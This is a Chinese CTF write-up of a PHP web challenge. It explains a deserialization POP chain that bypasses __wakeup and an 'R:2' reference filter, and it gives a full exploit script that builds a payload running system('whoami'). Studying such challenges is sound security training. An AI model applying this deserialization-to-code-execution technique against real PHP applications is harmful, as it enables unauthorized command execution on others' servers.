【铸网-2025】线下赛 web 详细题解

php 复制代码
 <?php
show_source('index.php');
class MGkk8
{
    public $a;
    public $b;
    public function rpl2()
    {
        echo('MGrp12;');
        $b = $this->b;
        if ($this->a == "RPG") {
            echo('ifyes;');
            ($b->a)($b->b."");
            echo('evalyes;');
        }
    }
}
class KOkjs
{
    public $a;
    public $b;
    public function __toString()
    {
        echo('kotostring');
        $this->a->rpl2();
    }
}
class u1Y7U
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->TiYM6();
    }
}
class QMRb7
{
    public $a;
    public $b;
    public function TiYM6()
    {
        $this->b->learn();
    }
}
class y97pu
{
    public $a;
    public $b;
    public $c;
    public function __invoke()
    {
        $this->a = $this->b."__INVOKE__";
    }
    public function __destruct(){
        echo('destruct;');
        $this->b = $this->c;
        die($this->a);
    }
    public function __wakeup()
    {
        echo('wakeup;');
        $this->a = "";
        echo('wakeupgo');
    }
}
class m1_99
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    if(stripos($c,'R:2')!== false){
        die("no Reference");
    }
    unserialize($c);
}else {
    highlight_file(__FILE__);
}

pop链的构造

本题关键代码点

php 复制代码
$this->b = $this->c;
    die($this->a);

构造pop链的起点很明显是KOkjs的tostring方法,我们想进tostring就想办法把关键代码点中的$this->a赋值成一个实例

但是由于wakeup方法会把$this->a变成空白,所以我们要想办法绕过wakeup

这里常规方法都是无法绕过的,所以考虑地址相等绕过

php 复制代码
$this->b = &$this->a
$this->c = new KOkjs();

这样我们保证了变量a和b指向同一个地址,调用wakeup也不会把a赋值为空。

同时变量c赋值为类KOkjs类的实例化对象,通过this−>b=this->b=this−>b=this->c把b赋值为类的实例化对象,然后通过变量a和b指向同一个地址,把$this->a赋值为类的实例化对象,那么die实例化对象时就是把这个实例化对象当作字符串输出,调用tostring方法,链子就走下去了。

php 复制代码
$a = new y97pu();
$a->a = new KOkjs();
$a->b = &$a->a;

$a->c = new KOkjs();
$a->c->a = new MGkk8();

$a->c->a->b= new MGkk8;
$a->c->a->b->a = "system";
$a->c->a->b->b = "whoami";
$a->c->a->a="RPG";
echo(serialize($a));

R:2的绕过

这时我们会发现一个问题,这样输出的序列化字符串中会含有R:2,而题目中把这个R:2ban掉了,为了绕过这一步过滤我们需要了解一下R:2的含义

R:2 的含义

  • R:n 表示引用(reference)到第 n 个已定义的变量
  • 这里的 2 指的是 序列化时顺序编号的第 2 个元素
  • PHP 在反序列化时会把 R:2 解析成一个"引用"而不是新建的副本,也就是说它和第 2 个位置的值是同一个引用。

序列化编号规则

  • 序列化时,每遇到一个新值(对象、数组、字符串等),PHP 会从 1 开始依次编号
  • 后面如果遇到 R:x,就是对前面编号为 x 的元素的引用。

所以我们跟着pop链来走一下

结构分析
  1. 编号 1

    O:5:"y97pu":3:{ ... }

→ 一个类名为 y97pu 的对象,里面有 3 个属性:abc

  1. 编号 2

    O:5:"KOkjs":2:{
    s:1:"a";N;
    s:1:"b";N;
    }

  2. 属性 b

    R:2

→ 引用编号 2 的对象,也就是上面那个 KOkjs(a=null,b=null)

所以 y97pu->by97pu->a 指向同一个对象。

所以我们只要改变一下y97pu中变量abc的顺序就可以了

php 复制代码
class y97pu
{
    public $c;
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b."__INVOKE__";
    }
    public function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
    public function __wakeup()
    {
        $this->a = "";
    }
}

为什么这样会变成R:9

用第二个脚本(class y97pu { public $a; public $b; public $c; })为例,序列化时典型"遇到顺序"(只列出对象类型节点)大致是:

  1. y97pu(根对象) --- 分配 id=1
  2. y97pu->a(第一个 KOkjs) --- 分配 id=2
  3. y97pu->c(第二个 KOkjs) --- 分配 id=3
  4. y97pu->c->a(第一个 MGkk8) --- id=4
  5. y97pu->c->a->b(第二个 MGkk8) --- id=5
    -> 此时 y97pu->b 是对第 2 个节点(y97pu->a)的引用,所以写成 R:2

y97pu 的属性声明顺序改为 c,a,b,序列化的"遇到顺序"会变成先序列化 c 分支里的对象,导致那个原来属于 aKOkjs 在序列化流中出现得更晚,从而获得一个更大的编号(你环境中是 9)。

注意:上面我列出的是"对象节点"的遇到顺序;PHP 内部可能还会对其它可引用项(某些标量或内部 zval)计编号,这会让最终的数字看起来更大一些,但本质不变 ------ 编号取决于遇到的先后顺序

完整exp

php 复制代码
<?php
error_reporting(0);
class MGkk8
{
    public $a;
    public $b;
    public function rpl2()
    {
        $b = $this->b;
        if ($this->a == "RPG") {
            ($b->a)($b->b."");
        }
    }
}
class KOkjs
{
    public $b;
    public $a;
    public function __toString()
    {
        $this->a->rpl2();
    }
}
class u1Y7U
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->TiYM6();
    }
}
class QMRb7
{
    public $a;
    public $b;
    public function TiYM6()
    {
        $this->b->learn();
    }
}
class y97pu
{
    public $c;
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b."__INVOKE__";
    }
    public function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
    public function __wakeup()
    {
        $this->a = "";
    }
}
class m1_99
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    if(stripos($c,'R:2')!== false){
        die("no Reference");
    }
    unserialize($c);
}else {

}

$a = new y97pu();
$a->a = new KOkjs();
$a->b = &$a->a;

$a->c = new KOkjs();
$a->c->a = new MGkk8();

$a->c->a->b= new MGkk8;
$a->c->a->b->a = "system";
$a->c->a->b->b = "whoami";
$a->c->a->a="RPG";

//echo($a);
echo(serialize($a));
相关推荐
独行soc7 小时前
2025年渗透测试面试题总结-234(题目+回答)
网络·python·安全·web安全·渗透测试·1024程序员节·安全狮
unable code10 小时前
攻防世界-Misc-SimpleRAR
网络安全·ctf·misc·1024程序员节
合作小小程序员小小店15 小时前
web安全开发,在线%服务器日志入侵检测%系统安全开发,基于Python,flaskWeb,正则表达式检测,mysql数据库
服务器·python·安全·web安全·flask·安全威胁分析·安全架构
还是奇怪18 小时前
隐藏在字符编码中的陷阱:深入剖析宽字节注入
数据库·sql·安全·web安全
介一安全18 小时前
从 0 到 1 玩转 2025 最新 WebGoat 靶场:环境搭建 + 全关卡漏洞解析(超级详细)
java·web安全·网络安全·靶场
闲人编程1 天前
Python在网络安全中的应用:编写一个简单的端口扫描器
网络·python·web安全·硬件·端口·codecapsule·扫描器
网安小白的进阶之路1 天前
A模块 系统与网络安全 第四门课 弹性交换网络-5
网络·安全·web安全
sadandbad1 天前
[vulhub靶机通关]DC-2(rbash绕过_git提权)
网络·sql·web安全·网络安全
麦烤楽鸡翅1 天前
幂数加密(攻防世界)
网络安全·密码学·ctf·crypto·解密·攻防世界·幂数加密
民乐团扒谱机1 天前
实验室安全教育与管理平台学习记录(七)网络安全
学习·安全·web安全